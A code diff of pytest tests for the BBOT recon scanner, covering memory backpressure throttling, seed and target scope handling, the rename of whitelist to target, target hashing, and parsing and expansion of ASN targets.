+@pytest.mark.asyncio
+async def test_memory_backpressure_drain_mode_bypass(bbot_scanner, monkeypatch):
+    """Throttle must clear in drain mode: with memory pinned high but no module producing,
+    ingress IS the drain and throttling it traps the scan in a feedback loop."""
+    from types import SimpleNamespace
+
+    mem_percent = [93.0]
+
+    def mock_memory_status():
+        return SimpleNamespace(percent=mem_percent[0], available=1_000_000_000)
+
+    scan = bbot_scanner("127.0.0.1", config={"max_mem_percent": 90})
+    await scan._prep()
+    monkeypatch.setattr("bbot.core.helpers.misc.memory_status", mock_memory_status)
+
+    non_intercept = [m for m in scan.modules.values() if not m._intercept]
+    assert non_intercept, "test requires at least one non-intercept module"
+
+    # simulate a healthy scan: at least one module is mid-handle
+    target_module = non_intercept[0]
+    target_module._task_counter.tasks["fake-task"] = SimpleNamespace(n=1)
+    try:
+        scan.modules_status(_log=False)
+        assert scan._ingress_delay == pytest.approx(3.0), (
+            "throttle should engage when memory is high and a module is running"
+        )
+    finally:
+        target_module._task_counter.tasks.pop("fake-task", None)
+
+    # now drain mode: no module running, no module has queued work
+    for m in non_intercept:
+        assert not m.running
+        assert m.outgoing_event_queue.qsize() == 0
+        assert m.num_incoming_events == 0
+    scan.modules_status(_log=False)
+    assert scan._ingress_delay == 0.0, "throttle must clear in drain mode (no producers, ingress is the drain)"
diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py
index ac2d8c0426..52ee4462a1 100644
--- a/bbot/test/test_step_1/test_scope.py
+++ b/bbot/test/test_step_1/test_scope.py
@@ -4,7 +4,8 @@
 
 class TestScopeBaseline(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx"]
+    modules_overrides = ["http"]
+    config_overrides = {"omit_event_types": []}
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
@@ -21,7 +22,7 @@ def check(self, module_test, events):
                 if e.type == "URL_UNVERIFIED"
                 and str(e.host) == "127.0.0.1"
                 and e.scope_distance == 0
-                and "target" in e.tags
+                and "seed" in e.tags
             ]
         )
         # we have two of these because the host module considers "always_emit" in its outgoing deduplication
@@ -68,27 +69,46 @@ def check(self, module_test, events):
         assert not any(str(e.host) == "127.0.0.1" for e in events)
 
 
-class TestScopeWhitelist(TestScopeBlacklist):
-    blacklist = []
-    whitelist = ["255.255.255.255"]
+class TestScopeCidrWithSeeds(ModuleTestBase):
+    """
+    Test that when we have a CIDR as the target and DNS names as seeds,
+    only the DNS names that resolve to IPs within the CIDR should be detected as in-scope.
+    """
+
+    # Seeds: DNS names that will be tested
+    seeds = ["inscope.example.com", "outscope.example.com"]
+    # Target: CIDR that defines the scope
+    targets = ["192.168.1.0/24"]
+    modules_overrides = ["dnsresolve"]
+
+    async def setup_after_prep(self, module_test):
+        # Mock DNS so that:
+        # - inscope.example.com resolves to 192.168.1.10 (inside the /24)
+        # - outscope.example.com resolves to 10.0.0.1 (outside the /24)
+        # This must be in setup_after_prep because the base fixture applies a default
+        # mock_dns after prep which replaces any earlier mocks.
+        await module_test.mock_dns(
+            {
+                "inscope.example.com": {"A": ["192.168.1.10"]},
+                "outscope.example.com": {"A": ["10.0.0.1"]},
+            }
+        )
 
     def check(self, module_test, events):
-        assert len(events) == 4
-        assert not any(e.type == "URL" for e in events)
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.scope_distance == 1 and "target" in e.tags
-            ]
+        # Find the DNS_NAME events for our seeds
+        inscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "inscope.example.com"]
+        outscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "outscope.example.com"]
+
+        assert len(inscope_events) == 1, "inscope.example.com should be detected"
+        inscope_event = inscope_events[0]
+        assert inscope_event.scope_distance == 0, (
+            f"inscope.example.com should be in-scope (scope_distance=0), got {inscope_event.scope_distance}"
         )
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "URL_UNVERIFIED"
-                and str(e.host) == "127.0.0.1"
-                and e.scope_distance == 1
-                and "target" in e.tags
-            ]
+        assert "192.168.1.10" in inscope_event.resolved_hosts, "inscope.example.com should resolve to 192.168.1.10"
+
+        assert len(outscope_events) > 0, "outscope.example.com should be detected"
+        outscope_event = outscope_events[0]
+        assert outscope_event.scope_distance > 0, (
+            f"outscope.example.com should be out-of-scope (scope_distance>0), got {outscope_event.scope_distance}"
         )
+        assert "10.0.0.1" in outscope_event.resolved_hosts, "outscope.example.com should resolve to 10.0.0.1"
diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py
index a368718048..2df98df652 100644
--- a/bbot/test/test_step_1/test_target.py
+++ b/bbot/test/test_step_1/test_target.py
@@ -5,7 +5,7 @@
 async def test_target_basic(bbot_scanner):
     from radixtarget import RadixTarget
     from ipaddress import ip_address, ip_network
-    from bbot.scanner.target import BBOTTarget, ScanSeeds
+    from bbot.scanner.target import BBOTTarget, ScanSeeds, ScanTarget
 
     scan1 = bbot_scanner("api.publicapis.org", "8.8.8.8/30", "2001:4860:4860::8888/126")
     scan2 = bbot_scanner("8.8.8.8/29", "publicapis.org", "2001:4860:4860::8888/125")
@@ -13,8 +13,14 @@ async def test_target_basic(bbot_scanner):
     scan4 = bbot_scanner("8.8.8.8/29")
     scan5 = bbot_scanner()
 
+    await scan1._prep()
+    await scan2._prep()
+    await scan3._prep()
+    await scan4._prep()
+    await scan5._prep()
+
     # test different types of inputs
-    target = BBOTTarget("evilcorp.com", "1.2.3.4/8")
+    target = BBOTTarget(target=["evilcorp.com", "1.2.3.4/8"])
     assert "www.evilcorp.com" in target.seeds
     assert "www.evilcorp.com:80" in target.seeds
     assert "http://www.evilcorp.com:80" in target.seeds
@@ -24,14 +30,13 @@ async def test_target_basic(bbot_scanner):
     assert ip_network("1.2.3.4/24", strict=False) in target.seeds
     event = scan1.make_event("https://www.evilcorp.com:80", dummy=True)
     assert event in target.seeds
-    with pytest.raises(ValueError):
-        ["asdf"] in target.seeds
-    with pytest.raises(ValueError):
-        target.seeds.get(["asdf"])
+    assert ["asdf"] not in target.seeds
+    assert target.seeds.get(["asdf"]) is None
 
     assert not scan5.target.seeds
-    assert len(scan1.target.seeds) == 9
-    assert len(scan4.target.seeds) == 8
+    # radixtarget 4.x counts hosts/networks, not individual IPs
+    assert len(scan1.target.seeds) == 3  # api.publicapis.org, 8.8.8.8/30, 2001:4860:4860::8888/126
+    assert len(scan4.target.seeds) == 1  # 8.8.8.8/29
     assert "8.8.8.9" in scan1.target.seeds
     assert "8.8.8.12" not in scan1.target.seeds
     assert "8.8.8.8/31" in scan1.target.seeds
@@ -54,37 +59,37 @@ async def test_target_basic(bbot_scanner):
     assert scan2.target.seeds == scan3.target.seeds
     assert scan4.target.seeds != scan1.target.seeds
 
-    assert not scan5.target.whitelist
-    assert len(scan1.target.whitelist) == 9
-    assert len(scan4.target.whitelist) == 8
-    assert "8.8.8.9" in scan1.target.whitelist
-    assert "8.8.8.12" not in scan1.target.whitelist
-    assert "8.8.8.8/31" in scan1.target.whitelist
-    assert "8.8.8.8/30" in scan1.target.whitelist
-    assert "8.8.8.8/29" not in scan1.target.whitelist
-    assert "2001:4860:4860::8889" in scan1.target.whitelist
-    assert "2001:4860:4860::888c" not in scan1.target.whitelist
-    assert "www.api.publicapis.org" in scan1.target.whitelist
-    assert "api.publicapis.org" in scan1.target.whitelist
-    assert "publicapis.org" not in scan1.target.whitelist
-    assert "bob@www.api.publicapis.org" in scan1.target.whitelist
-    assert "https://www.api.publicapis.org" in scan1.target.whitelist
-    assert "www.api.publicapis.org:80" in scan1.target.whitelist
-    assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.whitelist
-    assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.whitelist
-    assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.whitelist
-    assert scan1.target.whitelist in scan2.target.whitelist
-    assert scan2.target.whitelist not in scan1.target.whitelist
-    assert scan3.target.whitelist in scan2.target.whitelist
-    assert scan2.target.whitelist == scan3.target.whitelist
-    assert scan4.target.whitelist != scan1.target.whitelist
-
-    assert scan1.whitelisted("https://[2001:4860:4860::8888]:80")
-    assert scan1.whitelisted("[2001:4860:4860::8888]:80")
-    assert not scan1.whitelisted("[2001:4860:4860::888c]:80")
-    assert scan1.whitelisted("www.api.publicapis.org")
-    assert scan1.whitelisted("api.publicapis.org")
-    assert not scan1.whitelisted("publicapis.org")
+    assert not scan5.target.target
+    assert len(scan1.target.target) == 3
+    assert len(scan4.target.target) == 1
+    assert "8.8.8.9" in scan1.target.target
+    assert "8.8.8.12" not in scan1.target.target
+    assert "8.8.8.8/31" in scan1.target.target
+    assert "8.8.8.8/30" in scan1.target.target
+    assert "8.8.8.8/29" not in scan1.target.target
+    assert "2001:4860:4860::8889" in scan1.target.target
+    assert "2001:4860:4860::888c" not in scan1.target.target
+    assert "www.api.publicapis.org" in scan1.target.target
+    assert "api.publicapis.org" in scan1.target.target
+    assert "publicapis.org" not in scan1.target.target
+    assert "bob@www.api.publicapis.org" in scan1.target.target
+    assert "https://www.api.publicapis.org" in scan1.target.target
+    assert "www.api.publicapis.org:80" in scan1.target.target
+    assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.target
+    assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.target
+    assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.target
+    assert scan1.target.target in scan2.target.target
+    assert scan2.target.target not in scan1.target.target
+    assert scan3.target.target in scan2.target.target
+    assert scan2.target.target == scan3.target.target
+    assert scan4.target.target != scan1.target.target
+
+    assert scan1.in_target("https://[2001:4860:4860::8888]:80")
+    assert scan1.in_target("[2001:4860:4860::8888]:80")
+    assert not scan1.in_target("[2001:4860:4860::888c]:80")
+    assert scan1.in_target("www.api.publicapis.org")
+    assert scan1.in_target("api.publicapis.org")
+    assert not scan1.in_target("publicapis.org")
 
     assert scan1.target.seeds in scan2.target.seeds
     assert scan2.target.seeds not in scan1.target.seeds
@@ -93,23 +98,23 @@ async def test_target_basic(bbot_scanner):
     assert scan4.target.seeds != scan1.target.seeds
 
     assert str(scan1.target.seeds.get("8.8.8.9").host) == "8.8.8.8/30"
-    assert str(scan1.target.whitelist.get("8.8.8.9").host) == "8.8.8.8/30"
+    assert str(scan1.target.target.get("8.8.8.9").host) == "8.8.8.8/30"
     assert scan1.target.seeds.get("8.8.8.12") is None
-    assert scan1.target.whitelist.get("8.8.8.12") is None
+    assert scan1.target.target.get("8.8.8.12") is None
     assert str(scan1.target.seeds.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126"
-    assert str(scan1.target.whitelist.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126"
+    assert str(scan1.target.target.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126"
     assert scan1.target.seeds.get("2001:4860:4860::888c") is None
-    assert scan1.target.whitelist.get("2001:4860:4860::888c") is None
+    assert scan1.target.target.get("2001:4860:4860::888c") is None
     assert str(scan1.target.seeds.get("www.api.publicapis.org").host) == "api.publicapis.org"
-    assert str(scan1.target.whitelist.get("www.api.publicapis.org").host) == "api.publicapis.org"
+    assert str(scan1.target.target.get("www.api.publicapis.org").host) == "api.publicapis.org"
     assert scan1.target.seeds.get("publicapis.org") is None
-    assert scan1.target.whitelist.get("publicapis.org") is None
+    assert scan1.target.target.get("publicapis.org") is None
 
     target = RadixTarget("evilcorp.com")
     assert "com" not in target
     assert "evilcorp.com" in target
     assert "www.evilcorp.com" in target
-    strict_target = RadixTarget("evilcorp.com", strict_dns_scope=True)
+    strict_target = RadixTarget("evilcorp.com", strict_scope=True)
     assert "com" not in strict_target
     assert "evilcorp.com" in strict_target
     assert "www.evilcorp.com" not in strict_target
@@ -119,7 +124,7 @@ async def test_target_basic(bbot_scanner):
     assert "com" not in target
     assert "evilcorp.com" in target
     assert "www.evilcorp.com" in target
-    strict_target = RadixTarget(strict_dns_scope=True)
+    strict_target = RadixTarget(strict_scope=True)
     strict_target.add("evilcorp.com")
     assert "com" not in strict_target
     assert "evilcorp.com" in strict_target
@@ -128,58 +133,57 @@ async def test_target_basic(bbot_scanner):
     # test target hashing
 
     target1 = BBOTTarget()
-    target1.whitelist.add("evilcorp.com")
-    target1.whitelist.add("1.2.3.4/24")
-    target1.whitelist.add("https://evilcorp.net:8080")
+    target1.target.add("evilcorp.com")
+    target1.target.add("1.2.3.4/24")
+    target1.target.add("https://evilcorp.net:8080")
     target1.seeds.add("evilcorp.com")
     target1.seeds.add("1.2.3.4/24")
     target1.seeds.add("https://evilcorp.net:8080")
 
     target2 = BBOTTarget()
-    target2.whitelist.add("bob@evilcorp.org")
-    target2.whitelist.add("evilcorp.com")
-    target2.whitelist.add("1.2.3.4/24")
-    target2.whitelist.add("https://evilcorp.net:8080")
+    target2.target.add("bob@evilcorp.org")
+    target2.target.add("evilcorp.com")
+    target2.target.add("1.2.3.4/24")
+    target2.target.add("https://evilcorp.net:8080")
     target2.seeds.add("bob@evilcorp.org")
     target2.seeds.add("evilcorp.com")
     target2.seeds.add("1.2.3.4/24")
     target2.seeds.add("https://evilcorp.net:8080")
 
-    # make sure it's a sha1 hash
     assert isinstance(target1.hash, bytes)
-    assert len(target1.hash) == 20
+    assert len(target1.hash) == 24
 
     # hashes shouldn't match yet
     assert target1.hash != target2.hash
     assert target1.scope_hash != target2.scope_hash
     # add missing email
-    target1.whitelist.add("bob@evilcorp.org")
+    target1.target.add("bob@evilcorp.org")
     assert target1.hash != target2.hash
     assert target1.scope_hash == target2.scope_hash
     target1.seeds.add("bob@evilcorp.org")
     # now they should match
     assert target1.hash == target2.hash
 
-    # test default whitelist
-    bbottarget = BBOTTarget("http://1.2.3.4:8443", "bob@evilcorp.com")
-    assert bbottarget.seeds.hosts == {ip_network("1.2.3.4"), "evilcorp.com"}
-    assert bbottarget.whitelist.hosts == {ip_network("1.2.3.4"), "evilcorp.com"}
+    # test default target
+    bbottarget = BBOTTarget(target=["http://1.2.3.4:8443", "bob@evilcorp.com"])
+
+    assert bbottarget.seeds.hosts == {"1.2.3.4/32", "evilcorp.com"}
+    assert bbottarget.target.hosts == {"1.2.3.4/32", "evilcorp.com"}
     assert {e.data for e in bbottarget.seeds.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"}
-    assert {e.data for e in bbottarget.whitelist.event_seeds} == {"1.2.3.4/32", "evilcorp.com"}
+    assert {e.data for e in bbottarget.target.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"}
 
-    bbottarget1 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"])
-    bbottarget2 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"])
-    bbottarget3 = BBOTTarget("evilcorp.com", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"])
-    bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"])
+    bbottarget1 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"])
+    bbottarget2 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"])
+    bbottarget3 = BBOTTarget(seeds=["evilcorp.com"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"])
+    bbottarget5 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"])
     bbottarget6 = BBOTTarget(
-        "evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_scope=True
+        seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_scope=True
     )
-    bbottarget8 = BBOTTarget("1.2.3.0/24", whitelist=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"])
-    bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"])
+    bbottarget8 = BBOTTarget(seeds=["1.2.3.0/24"], target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"])
+    bbottarget9 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"])
 
-    # make sure it's a sha1 hash
     assert isinstance(bbottarget1.hash, bytes)
-    assert len(bbottarget1.hash) == 20
+    assert len(bbottarget1.hash) == 24
 
     assert bbottarget1 == bbottarget2
     assert bbottarget2 == bbottarget1
@@ -191,9 +195,9 @@ async def test_target_basic(bbot_scanner):
     assert bbottarget1 == bbottarget3
     assert bbottarget3 == bbottarget1
 
-    # adding different events (but with same host) to whitelist should not change hash (since only hosts matter)
-    bbottarget1.whitelist.add("http://evilcorp.co.nz")
-    bbottarget2.whitelist.add("evilcorp.co.nz")
+    # adding different events (but with same host) to target should not change hash (since only hosts matter)
+    bbottarget1.target.add("http://evilcorp.co.nz")
+    bbottarget2.target.add("evilcorp.co.nz")
     assert bbottarget1 == bbottarget2
     assert bbottarget2 == bbottarget1
 
@@ -207,28 +211,28 @@ async def test_target_basic(bbot_scanner):
     assert bbottarget5 != bbottarget6
     assert bbottarget6 != bbottarget5
 
-    # make sure swapped target <--> whitelist result in different hash
+    # make sure swapped target <--> blacklist result in different hash
     assert bbottarget8 != bbottarget9
     assert bbottarget9 != bbottarget8
 
     # make sure duplicate events don't change hash
-    target1 = BBOTTarget("https://evilcorp.com")
-    target2 = BBOTTarget("https://evilcorp.com")
+    target1 = BBOTTarget(target=["https://evilcorp.com"])
+    target2 = BBOTTarget(target=["https://evilcorp.com"])
     assert target1 == target2
     target1.seeds.add("https://evilcorp.com:443")
     assert target1 == target2
 
-    # make sure hosts are collapsed in whitelist and blacklist
+    # make sure hosts are collapsed in target and blacklist
     bbottarget = BBOTTarget(
-        "http://evilcorp.com:8080",
-        whitelist=["evilcorp.net:443", "http://evilcorp.net:8080"],
+        seeds=["http://evilcorp.com:8080"],
+        target=["evilcorp.net:443", "http://evilcorp.net:8080"],
         blacklist=["http://evilcorp.org:8080", "evilcorp.org:443"],
     )
     # base class is not iterable
     with pytest.raises(TypeError):
         assert list(bbottarget) == ["http://evilcorp.com:8080/"]
     assert {e.data for e in bbottarget.seeds} == {"http://evilcorp.com:8080/"}
-    assert {e.data for e in bbottarget.whitelist} == {"evilcorp.net:443", "http://evilcorp.net:8080/"}
+    assert {e.data for e in bbottarget.target} == {"evilcorp.net:443", "http://evilcorp.net:8080/"}
     assert {e.data for e in bbottarget.blacklist} == {"http://evilcorp.org:8080/", "evilcorp.org:443"}
 
     # test org stub as target
@@ -247,6 +251,7 @@ async def test_target_basic(bbot_scanner):
 
     # users + orgs + domains
     scan = bbot_scanner("USER:evilcorp", "ORG:evilcorp", "evilcorp.com")
+    await scan._prep()
     await scan.helpers.dns._mock_dns(
         {
             "evilcorp.com": {"A": ["1.2.3.4"]},
@@ -258,10 +263,8 @@ async def test_target_basic(bbot_scanner):
 
     # verify hash values
     bbottarget = BBOTTarget(
-        "1.2.3.0/24",
-        "http://www.evilcorp.net",
-        "bob@fdsa.evilcorp.net",
-        whitelist=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"],
+        seeds=["1.2.3.0/24", "http://www.evilcorp.net", "bob@fdsa.evilcorp.net"],
+        target=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"],
         blacklist=["1.2.3.4", "4.3.2.1/24", "http://1.2.3.4", "bob@asdf.evilcorp.net"],
     )
     assert {e.data for e in bbottarget.seeds.event_seeds} == {
@@ -269,7 +272,7 @@ async def test_target_basic(bbot_scanner):
         "http://www.evilcorp.net/",
         "bob@fdsa.evilcorp.net",
     }
-    assert {e.data for e in bbottarget.whitelist.event_seeds} == {
+    assert {e.data for e in bbottarget.target.event_seeds} == {
         "evilcorp.com",
         "evilcorp.net",
         "bob@www.evilcorp.com",
@@ -280,20 +283,20 @@ async def test_target_basic(bbot_scanner):
         "http://1.2.3.4/",
         "bob@asdf.evilcorp.net",
     }
-    assert set(bbottarget.seeds.hosts) == {ip_network("1.2.3.0/24"), "www.evilcorp.net", "fdsa.evilcorp.net"}
-    assert set(bbottarget.whitelist.hosts) == {"evilcorp.com", "evilcorp.net"}
-    assert set(bbottarget.blacklist.hosts) == {ip_network("1.2.3.4/32"), ip_network("4.3.2.0/24"), "asdf.evilcorp.net"}
-    assert bbottarget.hash == b"\xb3iU\xa8#\x8aq\x84/\xc5\xf2;\x11\x11\x0c&\xea\x07\xd4Q"
-    assert bbottarget.scope_hash == b"f\xe1\x01c^3\xf5\xd24B\x87P\xa0Glq0p3J"
-    assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1"
-    assert bbottarget.whitelist.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4"
-    assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\'
+    assert bbottarget.seeds.hosts == {"1.2.3.0/24", "www.evilcorp.net", "fdsa.evilcorp.net"}
+    assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"}
+    assert bbottarget.blacklist.hosts == {"1.2.3.4/32", "4.3.2.0/24", "asdf.evilcorp.net"}
+    assert bbottarget.hash == b"W\x1ai\x9f\xd6\x13\x87\xdd\x9cNP\xcf\xca4[6F\xc0U\x13\xfbd\xd9\xf3"
+    assert bbottarget.scope_hash == b"\x9cNP\xcf\xca4[6F\xc0U\x13\xfbd\xd9\xf3"
+    assert bbottarget.seeds.hash == b"W\x1ai\x9f\xd6\x13\x87\xdd"
+    assert bbottarget.target.hash == b"\x9cNP\xcf\xca4[6"
+    assert bbottarget.blacklist.hash == b"F\xc0U\x13\xfbd\xd9\xf3"
 
     scan = bbot_scanner(
-        "http://www.evilcorp.net",
-        "1.2.3.0/24",
-        "bob@fdsa.evilcorp.net",
-        whitelist=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"],
+        "evilcorp.net",
+        "evilcorp.com",
+        "bob@www.evilcorp.com",
+        seeds=["http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net"],
         blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"],
     )
     events = [e async for e in scan.async_start()]
@@ -302,24 +305,24 @@ async def test_target_basic(bbot_scanner):
     target_dict = scan_events[0].data["target"]
 
     assert target_dict["seeds"] == ["1.2.3.0/24", "bob@fdsa.evilcorp.net", "http://www.evilcorp.net/"]
-    assert target_dict["whitelist"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"]
+    assert target_dict["target"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"]
     assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"]
     assert target_dict["strict_scope"] is False
-    assert target_dict["hash"] == "b36955a8238a71842fc5f23b11110c26ea07d451"
-    assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1"
-    assert target_dict["whitelist_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4"
-    assert target_dict["blacklist_hash"] == "f7afa1da3422433a13f432c32cc3a99f15156e5c"
-    assert target_dict["scope_hash"] == "66e101635e33f5d234428750a0476c713070334a"
+    assert target_dict["hash"] == "571a699fd61387dd9c4e50cfca345b3646c05513fb64d9f3"
+    assert target_dict["seed_hash"] == "571a699fd61387dd"
+    assert target_dict["target_hash"] == "9c4e50cfca345b36"
+    assert target_dict["blacklist_hash"] == "46c05513fb64d9f3"
+    assert target_dict["scope_hash"] == "9c4e50cfca345b3646c05513fb64d9f3"
 
-    # make sure child subnets/IPs don't get added to whitelist/blacklist
+    # make sure child subnets/IPs don't get added to target/blacklist
     target = RadixTarget("1.2.3.4/24", "1.2.3.4/28", acl_mode=True)
-    assert set(target) == {ip_network("1.2.3.0/24")}
+    assert set(target) == {"1.2.3.0/24"}
     target = RadixTarget("1.2.3.4/28", "1.2.3.4/24", acl_mode=True)
-    assert set(target) == {ip_network("1.2.3.0/24")}
+    assert set(target) == {"1.2.3.0/24"}
     target = RadixTarget("1.2.3.4/28", "1.2.3.4", acl_mode=True)
-    assert set(target) == {ip_network("1.2.3.0/28")}
+    assert set(target) == {"1.2.3.0/28"}
     target = RadixTarget("1.2.3.4", "1.2.3.4/28", acl_mode=True)
-    assert set(target) == {ip_network("1.2.3.0/28")}
+    assert set(target) == {"1.2.3.0/28"}
 
     # same but for domains
     target = RadixTarget("evilcorp.com", "www.evilcorp.com", acl_mode=True)
@@ -328,8 +331,10 @@ async def test_target_basic(bbot_scanner):
     assert set(target) == {"evilcorp.com"}
 
     # make sure strict_scope doesn't mess us up
-    target = RadixTarget("evilcorp.co.uk", "www.evilcorp.co.uk", acl_mode=True, strict_dns_scope=True)
-    assert set(target.hosts) == {"evilcorp.co.uk", "www.evilcorp.co.uk"}
+    # radixtarget 4.x: strict_scope and acl_mode are mutually exclusive,
+    # so ACLTarget skips acl_mode when strict_scope is True
+    target = ScanTarget("evilcorp.co.uk", "www.evilcorp.co.uk", strict_scope=True)
+    assert target.hosts == {"evilcorp.co.uk", "www.evilcorp.co.uk"}
     assert "evilcorp.co.uk" in target
     assert "www.evilcorp.co.uk" in target
     assert "api.evilcorp.co.uk" not in target
@@ -346,6 +351,286 @@ async def test_target_basic(bbot_scanner):
     assert {e.data for e in events} == {"http://evilcorp.com/", "evilcorp.com:443"}
 
 
+@pytest.mark.asyncio
+async def test_asn_targets(bbot_scanner):
+    """Test ASN target parsing, validation, and functionality."""
+    from bbot.core.event.helpers import EventSeed
+    from bbot.scanner.target import BBOTTarget
+
+    # Test ASN target parsing with different formats
+    for asn_format in ("ASN:15169", "AS:15169", "AS15169", "asn:15169", "as:15169", "as15169"):
+        event_seed = EventSeed(asn_format)
+        assert event_seed.type == "ASN"
+        assert event_seed.data == "15169"
+        assert event_seed.input == "ASN:15169"
+
+    # Test ASN targets in BBOTTarget (target= is the primary input; seeds auto-populate from target)
+    target = BBOTTarget(target=["ASN:15169"])
+    assert "ASN:15169" in target.seeds.inputs
+
+    # Test ASN with other targets
+    target = BBOTTarget(target=["ASN:15169", "evilcorp.com", "1.2.3.4/24"])
+    assert "ASN:15169" in target.seeds.inputs
+    assert "evilcorp.com" in target.seeds.inputs
+    assert "1.2.3.0/24" in target.seeds.inputs  # IP ranges are normalized to network address
+
+    # Test ASN targets must be expanded before being useful in scope/blacklist
+    # Direct ASN targets don't work since they have no host
+    # Instead, test that the ASN input is captured correctly
+    target = BBOTTarget(target=["evilcorp.com"])
+    # ASN targets should be added to seeds
+    target.seeds.add("ASN:15169")
+    assert "ASN:15169" in target.seeds.inputs
+
+    # Test ASN target expansion with real asndb (Google's AS15169)
+    scan = bbot_scanner("ASN:15169")
+    target = BBOTTarget(target=["ASN:15169"])
+
+    # Verify initial state
+    initial_hosts = len(target.seeds.hosts)
+    initial_seeds = len(target.seeds.event_seeds)
+
+    # Generate children (expand ASN to IP ranges)
+    await target.generate_children(helpers=scan.helpers)
+
+    # After expansion, should have additional IP range seeds
+    assert len(target.seeds.event_seeds) > initial_seeds
+    assert len(target.seeds.hosts) > initial_hosts
+
+    # Google's AS15169 owns 8.8.8.0/24
+    assert "8.8.8.0/24" in target.seeds.hosts
+    assert "8.8.8.0/24" in target.target.hosts
+
+
+@pytest.mark.asyncio
+async def test_asn_targets_integration(bbot_scanner):
+    """Test ASN targets with full scanner integration."""
+    from unittest.mock import AsyncMock, MagicMock, patch
+
+    mock_client = MagicMock()
+    mock_client.lookup_asn = AsyncMock(
+        return_value={
+            "asn": 15169,
+            "asn_name": "GOOGLE",
+            "org": "Google LLC",
+            "country": "US",
+            "subnets": ["8.8.8.0/24", "8.8.4.0/24"],
+        }
+    )
+    mock_client.cleanup = AsyncMock()
+
+    # Create scanner with ASN target
+    scan = bbot_scanner("ASN:15169")
+
+    with patch("asndb.ASNDB", return_value=mock_client):
+        # Initialize scan to access preset and target
+        await scan._prep()
+
+        # Verify target was parsed correctly
+        assert "ASN:15169" in scan.preset.target.seeds.inputs
+
+        # Verify expansion worked (generate_children is called during _prep)
+
+        assert "8.8.8.0/24" in scan.preset.target.seeds.hosts
+        assert "8.8.4.0/24" in scan.preset.target.seeds.hosts
+
+        # Test scope checking with expanded ranges
+        assert scan.in_scope("8.8.8.1")
+        assert scan.in_scope("8.8.4.1")
+        assert not scan.in_scope("1.1.1.1")
+
+
+@pytest.mark.asyncio
+async def test_asn_targets_edge_cases(bbot_scanner):
+    """Test edge cases and error handling for ASN targets."""
+    from bbot.core.event.helpers import EventSeed
+    from bbot.errors import ValidationError
+    from bbot.scanner.target import BBOTTarget
+
+    # Test invalid ASN formats that should raise ValidationError
+    invalid_formats_validation_error = ["ASN:", "AS:", "ASN:abc", "AS:xyz", "ASN:-1"]
+    for invalid_format in invalid_formats_validation_error:
+        with pytest.raises(ValidationError):
+            EventSeed(invalid_format)
+
+    # Test invalid ASN format that gets parsed as something else
+    event_seed = EventSeed("ASNXYZ")
+    assert event_seed.type == "DNS_NAME"  # Falls back to DNS parsing
